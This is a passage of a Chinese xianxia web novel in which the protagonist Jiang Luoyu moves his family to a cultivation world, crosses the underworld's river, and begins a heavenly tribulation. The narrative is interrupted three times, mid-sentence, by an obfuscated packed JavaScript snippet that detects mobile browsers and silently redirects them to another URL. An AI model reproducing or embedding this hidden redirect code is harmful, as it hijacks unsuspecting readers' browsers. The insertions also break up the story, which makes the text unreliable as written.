姜洛玉早就注意到了角落里三人的“对话”,明知故问:“何事?” 尹一寒:“晚辈斗胆……可否求一枚龙鳞?” “想要龙鳞?”姜洛玉蹭着小金龙下巴的手一顿,把小龙递了过去,“这个你得问他。” 辰欢:“我能给你龙鳞,你能给我什么?” 尹一寒毫不犹豫:“您想要什么都可以!” 就算他拿不出,要是总局那儿有,他也可以先应下来,到时候两头牵线他这个中间人也少不了好处。 辰欢:“我想快点长大。” 尹一寒:“……?” 姜洛玉:“他身体里有股诡异能量阻止着肉身和魂魄的契合度。我们毫无办法,不知总局可有头绪?” “就算不成功也没关系,我可以把地上的龙角给你。不过,有个条件。” 尹一寒:“前辈请讲。” 姜洛玉:“我要你在我离开后,庇护姜家不再受邪修侵扰。” 91.穿越第九十一天 “没问题。”尹一寒拍着胸脯发誓,“只要我在北市分局一天,邪修就没办法动姜家一根寒毛!” 姜洛玉:“口说无凭,你答应得太快了,回去好好考虑一下。” 尹一寒还想说什么,被几坨灵气以不容拒绝的力道推向门口。 一并过去的还有毕迅、闫睿雪……以及昏迷不醒的厉凌尘和冯德。 异常事物管理局的人来了又走,前后不到半个小时,休息室重归寂静。 没人说话。 姜洛玉捏了捏手心,打破沉默开口道:“爸妈,我想带你们……” 姜景安摇头:“太晚了,我们先在酒店休息一晚。” 没说完的话被咽回了肚子,姜洛玉意识到现在的时间对凡人来说早就该睡觉了。 指针走向凌晨两点。 于是众人保持着诡异的沉默找到了酒店的夜班工作人员办理入住,总统套房和豪华套房好巧不巧全都住满了人,只好住进了普通套间。 “哗啦哗啦”的水声戛然而止。 姜洛玉用灵力烘干头发,打开浴室的门,没骨头一般扑进丛明雪怀里,闷声道:“师尊。” 丛明雪沉默着将人抱起,无意间碰到还沾着水珠的腿根,下意识磨蹭两下。 把人像埋萝卜一样埋进被子里,自己也顺势躺到了他的身边。 “在想什么?”丛明雪替盯着天花板的人掖了掖被角。 姜洛玉侧过头,轻声说:“我刚才是想说,要带爸妈他们一起走,可是……” 丛明雪:“可是什么?” 姜洛玉:“可是我刚才又想了想,万一他们真的不想去呢?” “这不是旅游,是真真切切抛下这里的一切,去开启全新且陌生的生活。就算他们想走,到了那边暗处危机四伏,我怕……” “我怕我保护不好他们。” 他的实力还是太弱了。如果姜家众人在另一个世界出了什么事,他会后悔死的。 “所以,你认为最好的办法是先不带他们离开?”丛明雪侧立着身子问道。 “你想等铲除所有不安全因素再接他们过去?” 姜洛玉想点头,点到一半儿发现有哪里不对。 最理想的打算是等他们铲除幕后之人,还六界一个太平,再想办法提前开启异世之门接姜家众人过去。 他为数不多的犹豫全都给了爱他的家人。 丛明雪捏住姜洛玉的脸,让他和自己对视:“阿玉,我们能通过异世之门来到此界,那幕后之人呢?” “我们迟早有一天会和他正面对上的,他若是背地里搞些阴损手段找上爸妈,相隔两界,我们鞭长莫及。” 姜洛玉:“……!” 他怎么能把这种情况忘了! 虽说异世之门是六界独一份儿的,可离昼他们都能根据他神魂里的异世气息追踪到此界。 要不是他成功被召唤回去,他们还要琢磨去异世的方法。 更别提幕后之人当初差点将他炼化,没准早就发现他来过这儿了! 看着猛地坐起的青年,丛明雪拉住人:“爸妈他们已经睡下了。” 姜洛玉:“……” 按压住蠢蠢欲动的心,姜洛玉一掀被子把丛明雪也罩在里面,摸了两把自家道侣结实的腹肌:“睡觉,等他们醒了再去谈。” 丛明雪亲了亲姜洛玉的额头,将人拥在怀里开始闭目养神。 黑暗里逐渐浮现出仓惶的大雪。 丛明雪这才意识到自己做梦了。 他自从成神后就再也没做过梦,也没怎么睡觉。 雪越落越大,而他的眼里只有那些纷纷扬扬的雪花。 “我要你……我要你好好……” 姜洛玉的声音在大雪中回荡,闷闷的,像隔了一层水。 好好什么? 他听不清,关键的话语被吹散在风里。 酒店走廊,声控灯明灭。 姜林飞鬼鬼祟祟地敲了敲自家爸妈的房门。 “喂。” “啊!”姜林飞短促地叫了一声,余光瞥见姜林琬手腕上的红绳,颇为无语。 “你干嘛老吓唬我?!” 见门开了一条缝隙,姜林琬耸了耸肩,推门而入:“是你自己胆子小。” 姜林廷顺了把自家三弟的头发:“再接再厉。” 屋内,年过半百的夫妻在窗口的椅子上。 两人也未洗漱,还穿着宴会上的礼服。 姜景安见人都到齐了,也不打哑谜:“我们家,到了该做抉择的时候了。” “要么,我们留在这儿,继续享受安稳平淡,能一眼望到头的生活,老幺会在离开前为我们铺好后路。” 林朝盈抠着裙子上的装饰,低声说:“要么……我们放弃这儿的一切,和玉玉去另一个世界——修仙。” “修仙”二字铿锵有力,带着隐隐希冀。 “爸妈,你们怎么想?”姜林廷最先问道。 姜景安伸出手,看着上面比起去年又皱了不少的皮肤:“老大,长生的机会,和有限的寿命比起来,你会选哪个?” 姜林廷毫不犹豫:“长生。” 姜林琬撩了把头发:“我和大哥一样。” 姜林飞紧随其后:“我早就想修仙了!” 当初全家都说他被网络小说荼毒无可救药,没想到事到如今……居然真的能修仙。 林朝盈捂嘴笑了两下:“那你真去了可得好好学。” “我和你爸都商量好了,和玉玉去的只能是我们五个。” 姜家一脉单传,到了姜景安这一代,姜老爷子又只有他一个儿子。 且不说这几年姜景安因为旁系作妖,早就和他们断绝了来往,就连她自己的兄弟姐妹…… 自从爸妈去世分了家产,只有逢年过节才能说上几句话。 人心不可测,特别是面对天大机缘的时候。 而近几年,林朝盈也深刻意识到身体的衰老。就算她跑美容院跑得再勤快,也消除不了时间的痕迹。 修仙…… 姜景安一锤定音:“既然都同意,那就去睡觉吧。” “师尊、阿雪!” 姜洛玉晃了晃似乎被魇住的人,在眼角看见了一滴将落未落的泪珠。 心中一阵惊诧,还没思考就被醒过来的人一把抱进怀里。 丛明雪早就忘了梦中的一切,可是那股压得人上不来气的孤寂让他喘不上气。 “怎么了?”姜洛玉任凭丛明雪抱着,“做噩梦了?” “你不是说你不会做梦么?” 丛明雪张了张口,最终否认道:“想起了万妖窟。” 姜洛玉不疑有他,毕竟万妖窟的惨状他在丛明雪的记忆里也见过,还是些没那么惨烈的场面。 他拍了拍丛明雪的后背,有些担心:“为何突然想起万妖窟的往事了?” 丛明雪:“许是浊气作祟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175316|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人又温存了一会儿,接收到家庭群里众人全部醒来的消息,起身去了前台退房。 酒店大厅,姜林廷和姜林琬早就坐在休息区等待几人出来。 还有抱着无相球变成的萨摩耶幼崽的辰欢。 动身回家后,直到能看见姜家大门,姜景安这才开口对后座的姜洛玉说:“老幺,吃完饭……我们好好谈一谈吧。” 姜洛玉“嗯”了一声。他昨天晚上特意把神识老老实实收在识海,还降低了听力的敏锐程度,就怕听见什么不该听的。 但该来的总会来,当他对着尹一寒说出“庇护姜家”的时候,就差把“我要走”写在脸上了。 王妈端上最后一道菜,察觉到餐桌上气氛有些凝重。 向来把笑挂在脸上的小少爷表情严肃得吓人,就连夫人的脸上也没了往日在温和,眉宇间挂着淡淡的惆怅,更别提本来就爱板着脸的老爷…… 王妈“哎呦”一声,被凑过来的狗崽绊了个正着。 无相球幻化成的大狗叼起晃晃悠悠的钢炮去了狗窝,根本不敢凑近如今气压极低的姜洛玉。 饭后,众人再度坐到了会客厅。 姜洛玉先发制人:“爸、妈,我想……” “我们和你一起去。”姜景安瞬间露出笑意,“昨天已经商量好了。” 林朝盈也转变了一副表情,姜林廷几人也收起了严肃的面孔。 姜洛玉看出来众人刚才那般是在逗自己,松了一口气,又正色道:“爸妈,不是你们想不想的问题,是你们必须和我走。” 接下来,他和丛明雪把未曾说出口的“危机”尽数补全,特别是提到了幕后之人可能有办法来到此界时,几人忍不住后背发凉。 姜林飞摸了摸胳膊:“真变态,这人难不成要把六界变成他的奴隶?” “抱歉。”姜洛玉低着头,“如果不是因为我,你们就不用……” “和你有什么关系?”姜林琬揉了揉姜洛玉的头发,“要是没有你,我们活到八十岁就算是高寿了。” “难不成等我们一过去,那什么神主八十年就能统治六界不成?” 姜林飞捧着钢炮举爪:“从一百年算起,多活一年就是赚了!” “过去了我要当那种气吞山河,一剑破天的剑修!” 姜林廷:“而且有你在,我们没什么好怕的。” “趁着你们那什么玉镯还没反应,我们这些日子快些把琐事处理好,确保走后万无一失。” 于是除了姜洛玉和丛明雪,姜家所有人都忙成了陀螺。 姜景安和姜林琬忙着召开董事会选举下一任的公司继承者,姜林廷忙着把公司转交给最初一起创业的大学室友。 林朝盈和姜林飞忙着退圈的事宜。 林朝盈早早开了自己的工作室,所以退圈只是发个声明的事。 姜林飞就不一样了,他当初赌气要脱离林朝盈的“儿子”的头衔,隐姓埋名跑去参加选秀,如今和经纪公司合约尚未到期。 在经纪人鬼哭狼嚎的挽留声里,姜林飞强势退圈。 这么折腾下来,半个月转瞬即逝。 异常事务管理局那边送去了钢炮的龙角,还有辰欢几片自然脱落的龙鳞。 管理局对待辰欢的状态也没有解决办法,不过结合数据后发现等那些异常力量消失就能恢复正常。 除了这些,姜洛玉两人也没闲着,他们花了半个月时间,为五人量身打造了五套洗髓之法。 92.穿越第九十二天 姜家别墅,五人看着悬浮在空中的光球。 “这是什么东西?”林朝盈抬起手,想碰一碰近在咫尺的球体。 “用来洗髓的。”姜洛玉控制着光球飞到五人面前,“在此界先为你们洗去肉身一部分杂质,到了另一界就不会被浓郁的灵力冲击到晕厥。” 姜景安:“怎么洗?” 姜洛玉:“晒。” 众人:“……?” 五分钟后,沐浴在光球里的五人同时升起超脱俗世之外的荒谬感。 姜洛玉见每个人脸上都挂上了莫名的慈悲,戳了戳丛明雪:“菩提果是不是加多了?” 丛明雪:“……是多了些。” 不过洗髓开始,也不能把里面的东西抠出来,两人只好继续站着为五人护法。 日落西山,最先坐下的姜林飞身上的骨骼发出清脆爆鸣,只见他大喝一声,睁开双目,慈悲感消失得无影无踪,就是……像叫花鸡一样浑身上下糊了层泥壳。 杂质随着姜林飞的动作抖落满地,又在彻底挨上地毯前消失得无影无踪,只留下臭气久久不散。 姜洛玉拦下马上就要逃去洗澡的姜林飞,递过去一瓶无根净水。 告诉他洗澡的时候放在浴缸里,有强劲的净化功效,这才放他离开。 第二个醒过来的是姜林琬,她看见身上的脏污之后人都要裂开了,抓起自家小弟送过来的瓶子就跑向卧室。 第三个是姜林廷,他倒是比前两个人要冷静些,不过微微蹙起的眉毛让人能看出来,他的心情其实并不美妙。 第四个是林朝盈,她身上的杂质厚度比几个年轻人多上不少,几乎要将她整个人淹没。 透过泥壳裂开的缝隙,看到明显变得光滑细嫩的手背,林朝盈欢呼一声,控制着从未如此轻松过的身子去了浴室。 最后一个……是姜景安。 他身上的厚度比林朝盈的还多。虽说两人同样迈入了老年,但由于姜景安早年出过车祸,体内因为后遗症,体内淤积的杂质直接翻了倍。 等到月亮慢悠悠从山坡爬出来,姜景安这才苏醒。 姜洛玉松了一口气,看着姜景安年轻许多的脸,递过去玉瓶:“爸,快去泡洗澡吧。” 等到众人全部洗漱完毕,坐在格外冷清的会客厅里,两人取下了各自的玉镯。 姜家的佣人找了借口全部辞退,不论外界如何猜测,姜家已经从各个方面彻底退出了圈子。 林朝盈也早就和林家人道别,把手中的股份平分给了几个兄弟姐妹。 “是时候了。”姜洛玉将两枚镯子交叠在一起,用力捏碎! 玉碎声如凤凰鸣叫,伴随着强烈的光亮笼罩住整个空间。 异世之门。 门灵小心翼翼的舔着最后一块儿山精石,算着时间。 其实那个闻起来辣辣的妖、人……算了管他是什么,反正是能给它很多天材地宝的人。 他马上就能回来了! 门灵清晰地感受到,他们正靠着玉镯的保护,穿越时空乱流朝着冥界赶来。 一、二、三。 “砰——!” 半合的异世之门里吐出了一串儿人。 姜洛玉连忙扶起林朝盈和姜景安,猛然察觉到了一股阴冷至极的目光。 冥主默不作声地站在不远处,顶着鬼相一言不发。 时川瞥了眼多出来的五人一狗,淡淡道:“恭喜。” “如若需要,我可将他们计入轮回。” 姜洛玉神色一喜,压下嘴角道:“自然感激不尽。” 他正愁此事,光是门灵操作,让天道承认五人是此界之人还不够。 只有将三魂七魄计入此界轮回,到时候就算真出了什么事,也不至于直接魂飞魄散。 不过…… “不知冥主还有何吩咐?”姜洛玉行了个礼,转瞬间黑发拉长,又变成了去时的模样。 时川:“将龙珠还给他之后……让他忘了我。” 姜洛玉一愣,道:“好。” 另一边,姜林飞终于没忍住,抱着还是狗崽的钢炮,以及新鲜出炉的狗崽阿黑,问丛明雪:“这地方就是冥界吗?” “还未到达。”丛明雪回答完,开始考虑要不要给他们一人用个障眼法,来遮去万鬼城中众鬼的鬼相。 姜洛玉捧着得来的一半儿龙珠,神情复杂:“爸妈,你们和大哥他们先跟着阿雪去万鬼城安顿。我需要回妖界一趟,等我回来。” 丛明雪点头,抬手拦住了想要砸在姜洛玉怀里的门灵。 “啊!”姜林飞吓了一跳。 姜林琬蠢蠢欲动的手放下了,其实她也被吓到了。 姜洛玉转身抓住门灵揉搓一番,尝试成功,几秒就签订好了主宠契约,把它扔给了林朝盈:“新宠物,给它喂点……水果就可以了。” 说完从头顶的三清秘境里掏了掏,拿出来一串儿葡萄样式的果子。 门灵触手软弹,林朝盈确定这小东西没什么脾气后直接上手搓了搓,拎着果子点头:“妈妈知道了。” 好可爱,像果冻。 门灵发出“噗噗”两声,蹭了蹭林朝盈的胳膊。 这个人和主人因果很深! 和家人挥手作别,姜洛玉这才回到了冥主身边。 “希望冥主能信守承诺,等我事成归来,就放我们回修真界。”姜洛玉语气不卑不亢。 时川:“我留你们无用。而且,你还会捉弄我的鬼民。” 姜洛玉:…… 没等他反驳,眼前一花,立马从虚无之地来到了妖都。 今天也不知道是什么节日,街道张灯结彩,摊贩也都喜气洋洋。 他抖了抖身上的森森鬼气,感受着久违的日光。 “命者大人!” 不知道是谁先喊了一声,随后越来越多的妖加入了高呼“命者”的队伍。 众妖差不多全都在那三日的赐福里得了好处,对待姜洛玉更是见他如见龙神。 “大人,请您代我向龙神问好!” “大人,这些日子您和龙神去哪了?我们这些小妖都想你们想得彻夜难眠啊!” 姜洛玉一个愣神,越来越多的妖拥簇过来,还有妖激动地扔出手里装饰用的花花草草。 疯狂汲取灵力的动作暂时搁置,姜洛玉略显狼狈地起身朝着妖皇宫飞去。 妖皇宫有结界笼罩,不过难不倒他,从身上刮蹭下些冥主的鬼气,结界立马被腐蚀出了个大洞,等他过去后又恢复如初。 此时朝阳初升,金色光线照在洒了水的地面。 皇宫内比之街道更是有过之而无不及,姜洛玉瞥见眼熟的□□精,于是落了下去,问:“妖皇宫今天有什么大事吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185685|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蛙老六一个激灵,手腕上的木桶跌落在地面,磕磕巴巴道:“回、回命者,今天是新任妖皇登基的日子啊。” “登基大典什么时候开始?” 蛙老六:“午时。” 姜洛玉点头,紧接着飞向妖皇的寝宫。 元灼应该在那儿。 果不其然,寝宫里的元灼正在侍女的服侍下一层一层从穿上玄色冕服,整个人的气质冷得宛如冰霜。 而他身后的轮椅上,坐着个面如死灰的青年——元启醒了。 姜洛玉心里咯噔一下,这怕不是“回光返照”。招呼也没打,直接拿着龙珠冲了进去。 “谁!” 元灼一击不中,眼睁睁看着一团黑雾冲向元启! 姜洛玉一把将龙珠拍到元启心口后,连带着清楚记忆的法术一气呵成。 看见元启的脸色逐渐恢复如初,就连眉宇间的惆怅都逐渐褪去,姜洛玉这才长吁了一口气。 有时候遗忘也并非是坏事。 等等。 好像有哪里不对。 姜洛玉反应过来,立马看向寝殿四周,被鬼气震晕过去的侍女、四分五裂的装饰,以及……被定在原地双目通红的元灼。 姜洛玉:“……?” 他连忙控制着鬼气将人放开,同时露出了自己不知何时被鬼气笼罩的脸:“陛下,别来无恙。” 元灼一惊:“命者?您怎么……” 姜洛玉看着自己逐渐消失的身体,可惜道:“叙旧就来不及了,还望陛下能早日铲除妖界奸邪。” “至于九皇子,他已经痊愈了。” 伴随最后一字落下,殿内再无鬼气浮现。 来回不足一刻钟,快到姜洛玉觉得诧异。 再回去,地点就换成了冥主的冥宫。 时川收回姜洛玉身上的鬼气,道:“三日后午时,乘船从往生河上游一直逆流而上,看见什么都不要回头。” 七缕幽蓝鬼火飘到眼前。 “持此火才能让肉身和魂魄一并回到阳间。至于那两个畜生,让其认主即可。” 姜洛玉没去纠正冥主的称呼,收下鬼火行了个礼,再抬头,就来到了之前和丛明雪待过的寝殿。 姜家众人正在屋子里东走走、西看看适应良好,姜洛玉有些诧异。 “我用了障眼法。”丛明雪没等姜洛玉发问,便心有灵犀地解释道。 姜洛玉:“那就好,三天后就能离开了。” 丛明雪没有很意外。 三天后,正午时刻。 艄公撑着白纸扎成的船晃晃悠悠地停靠在河岸,狭长的眼睛扫过岸上的人群:“超重了。” “把船变大一些很困难吗?”姜洛玉微笑着抬起玄衣剑,放出了从冥主那儿“偷藏”的鬼气。 艄公:“……” 干瘦的老头气得抖了两下,衣袖里掉出一堆骨头渣,拿着竹竿敲了敲纸船的船体。 “砰”一下,船体扩大了一倍。 等到众人全部进入,艄公扶了扶头上的斗笠,喉咙里发出尖哨一般的长啸—— “生人返阳,万鬼莫问——” “阴阳殊途,不可妄闻——” “……” 往生河的河水在艄公一声又一声的吆喝里逐渐沸腾,最后掀起滔天巨浪,一下吞噬了河中纸船。 93.穿越第九十三天 河水下落刹那,河岸鬼声四起。 凄凄切切的喊声让姜家众人忍不住汗毛倒立,姜林琬恍惚间听见了有人在叫她的名字。 “不要回头。” 定住了姜林琬即将转动的脖子,姜洛玉索性知会一声,直接封闭了几人的听觉,又为他们安排了一场美梦。 艄公站在船头倒是回头看了两眼,在鬼叫声里感慨道:“老夫上次开渡船,还是送冥主去阳界渡劫。” “冥主为何需要渡劫?”姜洛玉下意识问道,其实根本没指望能从艄公嘴里得到答案。 “做仙门弟子尚且还需要考核,做冥主怎么不用渡劫?”艄公又用竹竿敲了敲想要搭便船的怨魂。 “说冥界有来无往的传言都是为了迷惑外界,要不然是个人都想通过往生河进来冥界,怎么得了?” 姜洛玉:“……” 丛明雪眸光微动:“敢问前辈,只要进入往生河就一定能进冥界吗?” “那倒不是。”艄公奖励吞了失去理智的怨魂的鹈鹕一条银鱼,“冥主只会放和冥界有缘的人进来,不过来的人数多了,冥主是会烦的。” 此后的行程一路无言。主要是河岸边恶鬼的吼叫已经达到了恐怖的地步,河水卷起的浪花也汇聚了河底怨魂的呢喃。 两人不敢懈怠,拿起了十二分精神注意周围的情况,生怕出什么意外。 很快,姜洛玉就意识到为什么冥主让他们不要“回头”了。 “玉玉!救我——” 是林朝盈的声音。 “小弟!别走!” 姜林廷三人重叠在一起的呼唤。 “老幺——” 姜景安的呼唤。 “阿玉。” 还有……丛明雪。 姜洛玉掏了掏耳朵,嘲讽道:“还没我自己变的像,也好意思出来蛊惑人。” 河底怨魂:“……” 一个时辰后,狭窄的水道突然变成了开阔的河面,浓雾四起笼罩在天水之间。 直到纸船碰壁,两人才看见了一层薄薄的结界。 艄公抬了抬眼皮:“返阳点设置好了吗?” 姜洛玉回了声“好”,催动《正天诛魔剑法》向玄衣剑里注入浩然正气。 丛明雪亦然,只不过改为左手持剑,上前握住了姜洛玉的手。 辰欢抱着狗崽见状化为金龙原型,长啸一声卷起姜家众人。 黑白剑气冲天而起,两人一龙同时扑向结界! —— 天正宗。 三大主峰之一天正峰,同样也是宗主尘极道君的峰头。 寒松居,尘极道君喝了口灵茶,这才扭头对上两张严肃的脸。 他控制住不自觉抖动的手,确定周围没有第四个人,这才开口:“你们是说,怀疑仙尊……走火入魔了?” “道君,千真万确!”谢子宁白着一张脸,恨不得以头抢地再发个天道誓言,来证明自己的说的全是真的。 齐怀仁的脸色看起来更差一些,拱手后道:“宗主,若是师尊没走火入魔……” “那他为何行为举止如同幼儿,还不认得我们两个?” “阿嚏——” 落雪峰上,白三水顶着丛明雪的模样挠了挠头,蹲在地上数蚂蚁。 他觉得自己似乎忘记了一些很重要的事情,可一片空白的大脑让他根本无从入手。 地上的蚂蚁长年累月吸收灵气,已经长到了黑豆大小,哼哧哼哧的往蚂蚁窝里搬去糕点碎屑。 糕点是他刚从一个少年手里抢过来的。 阴阳殿,离昼闭目而坐。 久违的清净让他甚至有些怀念阴阳殿人满为患的日子。 那日丛明雪突然消失,遍寻无果。他呕心沥血卜算出两人没有大凶之相,可问题随之而来。 三清秘境的境主和代理境主全部失踪,他们相当于被困在了玉佩里。 恰逢最近天正宗的百年一度的祭祀大典在即,作为太上长老的丛明雪需要露面。 往年的祭祀大典,丛明雪从未缺席,若是就这么莫名消失谁也联系不上,恐怕生出什么事端。 更何况经历魔修入侵一事,外界所有人的眼睛都盯上了天正宗。 所以……需要有人出去顶替一下丛明雪的身份。 这里面唯二和三清秘境没什么关系的就属迦南月和白三水了,只有他们两个能出去。 但迦南月正巧接到了宗门弟子的求助,有个渡劫圆满的修士打进合欢宗,死皮赖脸地要名分,也不知用了什么方法,忘情水喝了三缸都没用。 于是重担便落在了白三水身上。 好在经过凝星和何在夕的调理,白三水的后遗症几乎治愈,不出意外能够撑到祭祀大典结束。 离昼调息的动作一顿,吵吵闹闹的声音又从外界传来。 “臭鸟你不是说梧桐枝是好的吗?怎么现在又变成了残次品?” “我哪里知道那梧桐枝是别的东西变的!别说了,快去问离昼有什么办法能联系上白三水,他都变傻子好几天了!” 离昼:“……” —— 银雀落在堆积着白雪的松枝上,刚鸣叫一声就被一只发光的手抓在了手里。 尘极道君看向林间元婴修为,浑身散发着淡淡白光的“丛明雪”,惊讶得下巴都要脱臼了。 仙尊、仙尊怎么连修为都倒退了! 到底是什么修炼上的岔子能让当世渡劫第一人如此…… “你唱歌不好听,我给你唱两句。”白三水攥着银雀开始“啦啦啦”地唱歌。 银雀:“……啾?” 谢子宁躲在尘极道君身后牙都要咬碎了,红着眼眶终于忍不住:“宗主,请恕我隐瞒之罪。” 尘极道君:“……何罪之有?” “其实师尊早就和二师兄在一起了!”谢子宁吸着鼻子,“二师兄被魔修抓走生死不明,师尊许是因为如此才、才走火入魔的……” “啊——?” 两道震惊的声音重叠在一起。 尘极道君一个趔趄,齐怀仁更是神情恍惚。 齐怀仁:“师尊、他不是修无情道吗?他这么做不是自废道心……” 尘极道君抓着谢子宁的肩膀晃了晃:“师叔,话不能乱说,可是仙尊亲口承认的?” 谢子宁:“师尊虽没亲口承认,可我在修真大比上见过他送给师兄的耳坠。” 尘极道君:“……” 完了,这下真完了…… 他该拿什么拯救一个道心破碎的丛明雪。 银雀不堪其扰,啄了下白三水的虎口,差点没把自己的鸟喙啄掉,只好继续听他惨绝人寰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190761|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌声。 白三水若有所感,抬起脑袋,看见了一堆小黑点。 黑点越变越大,直朝他的方向砸来。 “闪开!” 姜洛玉吼完艰难转身,用灵气护住姜家众人。 骤然从满是鬼气的冥界切换到修真界,导致他现在催动灵力还不是很熟练。 丛明雪出手晚了一步,因为他看见了雪地上的“另一个自己”。 察觉到尘极道君几人的气息,唤来洞府里的储物戒,眨眼间就给姜家众人换上了身修真界的衣物。 “噗通——” 几声过后,尘极道君脑子“嗡”得一下,唤出自己的本命剑,展开结界护住身后的两个弟子。 “你们……你们是谁?!” 姜洛玉从雪地上爬起,看着地面被自己砸晕的“白光”有些不好意思。 他指了指自己,又去检查“白光”的死活,回道:“我是姜洛玉啊,宗主你失忆了吗?” 尘极道君脑子里一团乱麻:“师叔你不是被魔修抓走了吗?” “还有仙尊,你不是……” 他甚至不忍心说出刚才看见的画面。 看了看不知死活的“白光”,还有站在“白光”旁边明显正常许多的第二个“丛明雪”,还有多出来的五个陌生面孔。 尘极道君两眼一黑,彻底失去判断力。 新出现的丛明雪身上的气息和晕过去的别无二致,就是修为不同,明显新来的这个才更符合他心中“仙尊”的样子,可…… 锈住的大脑终于转动一瞬,尘极道君尖叫一声,拔出本命剑:“呔——!妖孽别想骗我,我师叔才金丹修为,你个渡劫老鬼骗人也不长脑子!” 长剑如风一般飘来,姜洛玉运转功法吸收灵力堪堪躲过,却见远处飞来几道气息强劲的身影。 是宗门里其他太上长老。 “师尊!二师兄!”谢子宁喊了两声,喊完又不知道该说些什么。 如果对面的是真的,那这几天和他们相处的又是谁? 齐怀仁上前一步,将谢子宁护到身后:“师弟,我们修为低微,不要给宗主添乱。” 结界里,姜林飞扯了扯身上的宽袍大袖,牵着辰欢和两条狗,凑到姜林廷和姜林琬中间,问:“这天正宗的宗主怎么好像……” 脑子不太好使。 兄妹两人同样神色复杂。 至于姜景安和林朝盈就比较镇定了,林朝盈怀里的门灵还发出了“噗噗”的声音。 姜洛玉不知道尘极道君受了什么刺激,满脸痛心疾首把他说的话当成了空气。 刚想再次开口解释,却被丛明雪按在原地。 丛明雪看向阴沉的天幕,里面孕育着足以毁天灭地的雷劫。 “阿玉,你去渡劫,这里交给我。” 姜洛玉愣了一下,根本没察觉到这片劫云和他有什么关系。 “开天眼。” 姜洛玉照做,看见了身上环绕的、未曾散尽的浊气,就连丛明雪身上的也一并飘来过来。 浊气掩盖了他对此界天道的感知度,而且这东西又非是天雷无法消除。 所以,他现在再度成了天道的“眼中钉”。 再加上妖界喝水一样轻松的“进阶”……还没渡过劫。 他很难不怀疑,这次的天雷想劈死他。 94.穿越第九十四天 雷声滚滚而来,夹杂着紫黑色的闪电。 姜洛玉闪身去到峰顶洞府找到三清玉佩,拔下头顶玉簪念了声“开”,天地灵气翻涌,直直涌进玉簪。 霎时间玉簪破开石洞冲天而起,姜洛玉追在后面也跟着飞了出去。 金光爆发刹那,雪地上,丛明雪抬手布下障眼结界。 这下感受到对面之人灵力的纯净,以及熟悉的功法气息,尘极道君大脑终于清明。 匆匆赶来的几位太上长老一头雾水,为首之人拍上尘极道君的肩膀:“尘极,唤我们前来是有何事?可是……仙尊要渡飞升劫?” 千八百年不受到一次召唤,虽然没说原因,但听对方语气焦急,于是他们出关的出关,睡醒的睡醒。 来到此处别的没看见,倒是看见好大一片劫云。 尘极道君神色复杂,看向阴沉的云层:“我来请你们,看当世最年轻的渡劫灵君。” 几人:“……?” 半空之中,玉簪越来越大,最后扭曲成了缩小版的三清秘境—— 西北角缺了一块儿的那种。 姜洛玉屏气凝神,掏出三清玉佩刺破指尖,精血融了进去。 随即,他与离昼众人的联系再度接续。 没等对面开口,他直接将三清玉佩打向三清秘境! 双玉相融,翻涌着乌云的天幕被金光照得如同白昼。 二者都是神级秘境,即使分崩离析十万年,再度相融爆发出的灵气冲击非是常人能困。 丛明雪根本无从招架,眼看着金光就要冲破束缚暴露在世人面前。 可三清秘境一旦暴露,此等异宝,别说幕后之人有心,就是其他门派也会想要从中分一杯羹。 “诸位,助我一臂之力!”丛明雪朝着天正宗众人喊道,“个中缘由容我过后道来!” 修真大比后,他和三清秘境众人已经暗中将天正宗修士身上的孢子全部清除,不用担心过后有人会在操控下反水。 尘极道君虽然看不见金光,但感受到天地间令人心悸还有些熟悉的气息。一咬牙,最先站到丛明雪身后开始输送灵力。 另几位太上长老犹豫一瞬,也上前助力。 秘境融合的灵气波动越来越大,就算有新的力量加入,似乎还是要冲破结界。 姜洛玉头顶劫云,向下看了一眼,转身带着三清秘境飞向渡劫专用的场地。 落雪峰上众人见状也全都跟在后面维持结界。 “境主!” “境主!” 一男一女两道声线重叠在脑中,不仅姜洛玉认出了来者身份,两人更是惊讶。 “离昼?!你没死啊?” “浮白?” 姜洛玉面容扭曲地操控着秘境继续相融:“不是叙旧的时候,告诉秘境里所有活物抱元归一,秘境彻底融合后恐有天劫。” 浮白:“境主您呢?” 姜洛玉:“我也得被雷劈。” “啊?境主外面这天劫是冲你来的啊。”那伽强行加入频道。 姜洛玉长叹一声,三清秘境周围环绕的金光逐渐变深,如同白日焰火,融合已经到了关键时刻。 正松了一口气,刚刚立在渡劫的峰头之上,劫云里猛然落下一道如水桶粗细的天雷! “无相!” 无相球应声而现,以势不可挡的速度化为渔网冲了上去! 冲他飞来的天雷被轻松吞噬。 一道过去,几乎没用喘息时间,下一道天雷又接踵而至。 